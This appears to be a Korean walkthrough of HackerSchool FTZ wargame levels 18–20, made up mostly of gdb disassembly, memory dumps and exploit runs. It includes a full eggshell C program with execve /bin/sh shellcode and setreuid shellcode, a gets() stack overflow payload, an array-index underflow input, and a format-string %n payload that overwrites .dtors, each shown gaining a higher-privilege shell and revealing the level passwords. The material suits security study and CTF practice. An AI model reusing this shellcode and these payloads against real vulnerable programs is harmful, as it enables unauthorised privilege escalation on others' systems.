0x80485b9 ;main+105;: jmp0x8048770 ;main+544;
0x80485be ;main+110;: mov%esi,%esi
0x80485c0 ;main+112;: lea0xffffff10(%ebp),%edi
0x80485c6 ;main+118;: mov%edi,0xffffff04(%ebp)
0x80485cc ;main+124;: mov$0x20,%ecx
0x80485d1 ;main+129;: mov0xffffff04(%ebp),%edi
0x80485d7 ;main+135;: xor%eax,%eax
0x80485d9 ;main+137;: cld
0x80485da ;main+138;: repz stos %eax,%es:(%edi)
0x80485dc ;main+140;: mov%ecx,0xffffff0c(%ebp)
0x80485e2 ;main+146;: mov%edi,0xffffff08(%ebp)
0x80485e8 ;main+152;: jmp0x80485f2 ;main+162;
0x80485ea ;main+154;: lea0x0(%esi),%esi
0x80485f0 ;main+160;: jmp0x80485c0 ;main+112;
0x80485f2 ;main+162;: xor%eax,%eax
0x80485f4 ;main+164;: bts%eax,0xffffff10(%ebp)
0x80485fb ;main+171;: push $0x0
0x80485fd ;main+173;: push $0x0
0x80485ff ;main+175;: push $0x0
0x8048601 ;main+177;: lea0xffffff10(%ebp),%ecx
0x8048607 ;main+183;: mov%ecx,0xffffff04(%ebp)
0x804860d ;main+189;: mov0xffffff04(%ebp),%edi
0x8048613 ;main+195;: push %edi
0x8048614 ;main+196;: push $0x400
0x8048619 ;main+201;: call 0x8048440 ;select;
0x804861e ;main+206;: add$0x14,%esp
0x8048621 ;main+209;: mov%eax,0xffffff04(%ebp)
0x8048627 ;main+215;: cmpl $0x0,0xffffff04(%ebp)
0x804862e ;main+222;: jle0x8048770 ;main+544;
0x8048634 ;main+228;: mov0x8049940,%eax
0x8048639 ;main+233;: mov%eax,0xffffff04(%ebp)
0x804863f ;main+239;: mov0xffffff04(%ebp),%ecx
0x8048645 ;main+245;: push %ecx
0x8048646 ;main+246;: call 0x8048420 ;fileno;
0x804864b ;main+251;: add$0x4,%esp
0x804864e ;main+254;: mov%eax,0xffffff04(%ebp)
0x8048654 ;main+260;: mov0xffffff04(%ebp),%esi
0x804865a ;main+266;: and$0x1f,%esi
0x804865d ;main+269;: mov0x8049940,%edi
0x8048663 ;main+275;: mov%edi,0xffffff04(%ebp)
—Type ;return; to continue, or q ;return; to quit—
0x8048669 ;main+281;: mov0xffffff04(%ebp),%eax
0x804866f ;main+287;: push %eax
0x8048670 ;main+288;: call 0x8048420 ;fileno;
0x8048675 ;main+293;: add$0x4,%esp
0x8048678 ;main+296;: mov%eax,0xffffff04(%ebp)
0x804867e ;main+302;: mov0xffffff04(%ebp),%edx
0x8048684 ;main+308;: shr$0x5,%edx
0x8048687 ;main+311;: lea0x0(,%edx,4),%ecx
0x804868e ;main+318;: mov%ecx,0xffffff04(%ebp)
0x8048694 ;main+324;: lea0xffffff10(%ebp),%edx
0x804869a ;main+330;: mov0xffffff04(%ebp),%edi
0x80486a0 ;main+336;: bt %esi,(%edi,%edx,1)
0x80486a4 ;main+340;: setb %bl
0x80486a7 ;main+343;: test %bl,%bl
0x80486a9 ;main+345;: je 0x8048770 ;main+544;
0x80486af ;main+351;: push $0x1
0x80486b1 ;main+353;: lea0xffffff94(%ebp),%eax
0x80486b4 ;main+356;: mov%eax,0xffffff04(%ebp)
0x80486ba ;main+362;: mov0xffffff04(%ebp),%ecx
0x80486c0 ;main+368;: push %ecx
0x80486c1 ;main+369;: mov0x8049940,%edi
0x80486c7 ;main+375;: mov%edi,0xffffff04(%ebp)
0x80486cd ;main+381;: mov0xffffff04(%ebp),%eax
0x80486d3 ;main+387;: push %eax
0x80486d4 ;main+388;: call 0x8048420 ;fileno;
0x80486d9 ;main+393;: add$0x4,%esp
0x80486dc ;main+396;: mov%eax,0xffffff04(%ebp)
0x80486e2 ;main+402;: mov0xffffff04(%ebp),%ecx
0x80486e8 ;main+408;: push %ecx
0x80486e9 ;main+409;: call 0x8048490 ;read;
0x80486ee ;main+414;: add$0xc,%esp
0x80486f1 ;main+417;: mov0xffffff94(%ebp),%edi
0x80486f4 ;main+420;: mov%edi,0xffffff04(%ebp)
0x80486fa ;main+426;: cmpl $0xa,0xffffff04(%ebp)
0x8048701 ;main+433;: je 0x8048722 ;main+466;
0x8048703 ;main+435;: cmpl $0xa,0xffffff04(%ebp)
0x804870a ;main+442;: jg 0x8048717 ;main+455;
0x804870c ;main+444;: cmpl $0x8,0xffffff04(%ebp)
0x8048713 ;main+451;: je 0x8048731 ;main+481;
0x8048715 ;main+453;: jmp0x8048743 ;main+499;
0x8048717 ;main+455;: cmpl $0xd,0xffffff04(%ebp)
0x804871e ;main+462;: je 0x8048722 ;main+466;
0x8048720 ;main+464;: jmp0x8048743 ;main+499;
0x8048722 ;main+466;: push $0x8048831
0x8048727 ;main+471;: call 0x8048470 ;printf;
0x804872c ;main+476;: add$0x4,%esp
0x804872f ;main+479;: jmp0x8048770 ;main+544;
0x8048731 ;main+481;: decl 0xffffff90(%ebp)
0x8048734 ;main+484;: push $0x8048833
0x8048739 ;main+489;: call 0x8048470 ;printf;
0x804873e ;main+494;: add$0x4,%esp
0x8048741 ;main+497;: jmp0x8048770 ;main+544;
0x8048743 ;main+499;: lea0xffffff9c(%ebp),%eax
0x8048746 ;main+502;: mov%eax,0xffffff04(%ebp)
0x804874c ;main+508;: mov0xffffff90(%ebp),%edx
0x804874f ;main+511;: mov0xffffff94(%ebp),%cl
0x8048752 ;main+514;: mov%cl,0xffffff03(%ebp)
0x8048758 ;main+520;: mov0xffffff03(%ebp),%al
0x804875e ;main+526;: mov0xffffff04(%ebp),%ecx
0x8048764 ;main+532;: mov%al,(%edx,%ecx,1)
0x8048767 ;main+535;: incl 0xffffff90(%ebp)
0x804876a ;main+538;: jmp0x8048770 ;main+544;
0x804876c ;main+540;: lea0x0(%esi,1),%esi
0x8048770 ;main+544;: jmp0x8048591 ;main+65;
0x8048775 ;main+549;: lea0xfffffef4(%ebp),%esp
0x804877b ;main+555;: pop%ebx
0x804877c ;main+556;: pop%esi
0x804877d ;main+557;: pop%edi
—Type ;return; to continue, or q ;return; to quit—
0x804877e ;main+558;: leave
0x804877f ;main+559;: ret
End of assembler dump.
(gdb) b *main+91
Breakpoint 1 at 0x80485ab
(gdb) r
Starting program: /home/level18/tmp/attackme
Enter your command: (no debugging symbols found)…(no debugging symbols found)…
Breakpoint 1, 0x080485ab in main ()
(gdb) c
Continuing.
to
Breakpoint 1, 0x080485ab in main ()
(gdb) o
Ambiguous command “o”: obscure, output, ov, overlay, ovly.
(gdb) x/12bx $ebp+0xffffff98
0xbffffa90: 0x0c0x030x130x420x740x030x130x42
0xbffffa98: 0xc00x340x010x40
(gdb) shell
[level18@ftz tmp]$ perl -e \’print “\\x74\\n”\’
t
[level18@ftz tmp]$ exit
exit
(gdb) c
Continuing.
on
Breakpoint 1, 0x080485ab in main ()
(gdb) n
Single stepping until exit from function main,
which has no line number information.
Breakpoint 1, 0x080485ab in main ()
(gdb) x/12bx $ebp+0xffffff98
0xbffffa90: 0x0c0x030x130x420x740x6f0x130x42
0xbffffa98: 0xc00x340x010x40
(gdb) shell
[level18@ftz tmp]$ perl -e \’print “\\x6f\\n”\’
o
[level18@ftz tmp]$ exit
exit
(gdb) q
The program is running.Exit anyway? (y or n) y
[level18@ftz tmp]$
[int check]+[char string(100)] 의 형식임을 확인.
[level18@ftz level18]$ (printf “\\x08\\x08\\x08\\x08\\xef\\xbe\\xad\\xde”; cat)| ./attackme
Enter your command:
id
uid=3099(level19) gid=3098(level18) groups=3098(level18)
my-pass
Level19 Password is “swimming in pink”.
문자열의 16진수로 0x08 일 경우 전체 array index 를 1 씩 감소하는 조건.
좀 더 분석해볼 필요가 있음.
=================================================================================
레벨 :: 19
=================================================================================
[level19@ftz level19]$ cat hint
main()
{ char buf[20];
gets(buf);
printf(“%s\\n”,buf);
}
[level19@ftz level19]$
=================================================================================
[level19@ftz level19]$ dir
attackmehintpublic_htmltmp
[level19@ftz level19]$ cp attackme ./tmp
[level19@ftz level19]$ cd tmp
[level19@ftz tmp]$ dir
attackme
[level19@ftz tmp]$ gdb attackme
GNU gdb Red Hat Linux (5.1.90CVS-5)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.Type “show warranty” for details.
This GDB was configured as “i386-redhat-linux”…
(gdb) disassemble main
Dump of assembler code for function main:
0x8048440 ;main;: push %ebp
0x8048441 ;main+1;: mov%esp,%ebp
0x8048443 ;main+3;: sub$0x28,%esp
0x8048446 ;main+6;: sub$0xc,%esp
0x8048449 ;main+9;: lea0xffffffd8(%ebp),%eax
0x804844c ;main+12;:push %eax
0x804844d ;main+13;:call 0x80482f4 ;gets;
0x8048452 ;main+18;:add$0x10,%esp
0x8048455 ;main+21;:sub$0x8,%esp
0x8048458 ;main+24;:lea0xffffffd8(%ebp),%eax
0x804845b ;main+27;:push %eax
0x804845c ;main+28;:push $0x80484d8
0x8048461 ;main+33;:call 0x8048324 ;printf;
0x8048466 ;main+38;:add$0x10,%esp
0x8048469 ;main+41;:leave
0x804846a ;main+42;:ret
0x804846b ;main+43;:nop
0x804846c ;main+44;:nop
0x804846d ;main+45;:nop
0x804846e ;main+46;:nop
0x804846f ;main+47;:nop
End of assembler dump.
(gdb)
(gdb) b *main+28
Breakpoint 1 at 0x804845c
(gdb) r
Starting program: /home/level19/tmp/attackme
AAAAAAAAAAAAAAAAAAAAAABB
Breakpoint 1, 0x0804845c in main ()
(gdb) x/4bx $ebp
0xbffffaf8: 0x380xfb0xff0xbf
(gdb) x/4bx $ebp-4
0xbffffaf4: 0xec0x950x040x08
(gdb) x/4bx $ebp-8
0xbffffaf0: 0xec0x940x040x08
(gdb) x/4bx $ebp-12
0xbffffaec: 0x210x840x040x08
(gdb) x/4bx $ebp-16
0xbffffae8: 0x000xfb0xff0xbf
(gdb) x/4bx $ebp-20
0xbffffae4: 0x410x410x420x42
(gdb)
메모리구조는 다음과 같음을 알 수 있다.
[buf20][dummy12][dummy8][ebp][ret]
[level19@ftz tmp]$ cat ; egg.c
/* eggshell.c */
#include ;stdlib.h;
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
“\\x55\\x89\\xe5\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46”
“\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89”
“\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68”
“\\x00\\xc9\\xc3\\x90/bin/sh”;
unsigned long get_esp(void)
{
__asm__(“movl %esp,%eax”);
}
int main(int argc, char *argv[])
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc ; 1) bsize = atoi(argv[1]);
if (argc ; 2) offset = atoi(argv[2]);
if (argc ; 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf(“Can\’t allocate memory.\\n”);
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf(“Can\’t allocate memory.\\n”);
exit(0);
}
addr = get_esp() – offset;
printf(“Using address: 0x%x\\n”, addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i ; bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for(i = 0; i ; eggsize – strlen(shellcode) – 1; i++)
*(ptr++) = NOP;
for(i = 0; i ; strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize – 1] = \’\\0\’;
egg[eggsize – 1] = \’\\0\’;
memcpy(egg,”EGG=”,4);
putenv(egg);
memcpy(buff,”RET=”,4);
putenv(buff);
system(“/bin/bash”);
}
[level19@ftz tmp]$ gcc -o egg egg.c
[level19@ftz tmp]$ cd ..
[level19@ftz level19]$ ./tmp/egg
Using address: 0xbffffac8
[level19@ftz level19]$ (printf “AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDCCCC\\xc8\\xfa\\xff\\xbf”;cat)|./attackme
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDCCCC힐?
id
uid=3099(level19) gid=3099(level19) groups=3099(level19)
q
/bin/sh: q: command not found
[level19@ftz level19]$
쉘이 떳지만… 렙이 올라가질 않는다. 이유는 egg쉘 코드에 setreuid() 함수를 추가하지 않았기
때문이다. setreuid(3100,3100);
이 쉘코드의 주소를 구하고 egg쉘코드에 추가한후 다시 공격해 보기로 하자.
/* setreuid(3100, 3100); */
“\\x31\\xc9″/* xor%ecx,%ecx */
“\\x66\\xb9\\x1c\\x0c”/* mov$0xc1c,%cx0xc1c: 3100 */
“\\x31\\xdb”/* xor%ebx,%ebx */
“\\x66\\xbb\\x1c\\x0c”/* mov$0xc1c,%bx 0xc1c: 3100 */
“\\x31\\xc0″/* xor%eax,%eax */
“\\xb0\\x46″/* mov$0x46,%al */
“\\xcd\\x80″/* int$0x80 */
[level19@ftz level19]$ ./tmp/egg
Using address: 0xbffffad8
[level19@ftz level19]$ (printf “AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDOOOO\\xd8\\xfa\\xff\\xbf”;cat)|./attackme
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDOOOO綿?
id
uid=3100(level20) gid=3099(level19) groups=3099(level19)
my-pass
TERM environment variable not set.
Level20 Password is “we are just regular guys”.
=================================================================================
레벨 :: 20
=================================================================================
[level20@ftz level20]$ cat hint
#include ;stdio.h;
main(int argc,char **argv)
{ char bleh[80];
setreuid(3101,3101);
fgets(bleh,79,stdin);
printf(bleh);
}
[level20@ftz level20]$
=================================================================================
[level20@ftz level20]$ cd tmp
[level20@ftz tmp]$ cat ; egg.c
[level19@ftz tmp]$ cat ; egg.c
/* eggshell.c */
#include ;stdlib.h;
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
/* setreuid(3100, 3100); */
“\\x31\\xc9″/* xor%ecx,%ecx */
“\\x66\\xb9\\x1d\\x0c”/* mov$0xc1d,%cx0xc1d: 3101 */
“\\x31\\xdb”/* xor%ebx,%ebx */
“\\x66\\xbb\\x1d\\x0c”/* mov$0xc1d,%bx 0xc1d: 3101 */
“\\x31\\xc0″/* xor%eax,%eax */
“\\xb0\\x46″/* mov$0x46,%al */
“\\xcd\\x80″/* int$0x80 */
“\\x55\\x89\\xe5\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46”
“\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89”
“\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68”
“\\x00\\xc9\\xc3\\x90/bin/sh”;
unsigned long get_esp(void)
{
__asm__(“movl %esp,%eax”);
}
int main(int argc, char *argv[])
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc ; 1) bsize = atoi(argv[1]);
if (argc ; 2) offset = atoi(argv[2]);
if (argc ; 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf(“Can\’t allocate memory.\\n”);
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf(“Can\’t allocate memory.\\n”);
exit(0);
}
addr = get_esp() – offset;
printf(“Using address: 0x%x\\n”, addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i ; bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for(i = 0; i ; eggsize – strlen(shellcode) – 1; i++)
*(ptr++) = NOP;
for(i = 0; i ; strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize – 1] = \’\\0\’;
egg[eggsize – 1] = \’\\0\’;
memcpy(egg,”EGG=”,4);
putenv(egg);
memcpy(buff,”RET=”,4);
putenv(buff);
system(“/bin/bash”);
}
[level20@ftz tmp]$ gcc -o egg egg.c
[level20@ftz tmp]$ cd ..
[level20@ftz level20]$ ./tmp/egg
Using address: 0xbffffad8
[level20@ftz level20]$ objdump -h attackme|grep dtors
18 .dtors000000080804950808049508000005082**2
[level20@ftz level20]$
리턴어드레스값 : 08049508+$ebp+ret
fad8(64216)-16=64200
(1bfff)114687-(fad8)64216=50471
[level20@ftz level20]$ (printf “AAAA\\x0c\\x95\\x04\\x08AAAA\\x0e\\x95\\x04\\x08%%64152c%%n%%50519c%%n”; cat) | ./attackme
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.
clear Password is “i will come in a minute”.
웹에서 등록하세요.
* 해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다.
당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.
해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다.
이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의
가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.